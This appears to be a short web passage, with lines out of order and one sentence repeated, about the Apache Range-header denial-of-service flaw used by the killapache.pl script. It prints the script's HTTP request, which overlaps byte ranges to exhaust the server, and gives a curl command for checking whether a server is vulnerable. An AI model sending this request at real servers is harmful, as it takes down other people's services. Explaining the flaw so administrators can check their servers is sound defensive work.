The killapache.pl launches in a few threads the following simple request:
Here is a simple command to check if your server is vulnerable:
And if there is no nginx installed your Apache server will be easily laid down.GET / HTTP/1.1
Host: example.com
Range: bytes=0-,5-0,5-1,5-2,5-3,5-4,<...>,5-1299,5-1300
Accept-Encoding: gzip
Connection: close

Here is a simple command to check if your server is vulnerable:
If you received 206 Partial Content, you are in big trouble.curl -I -H "Range: bytes=0-1,0-2" -s yourserver.com/robots.txt | grep Partial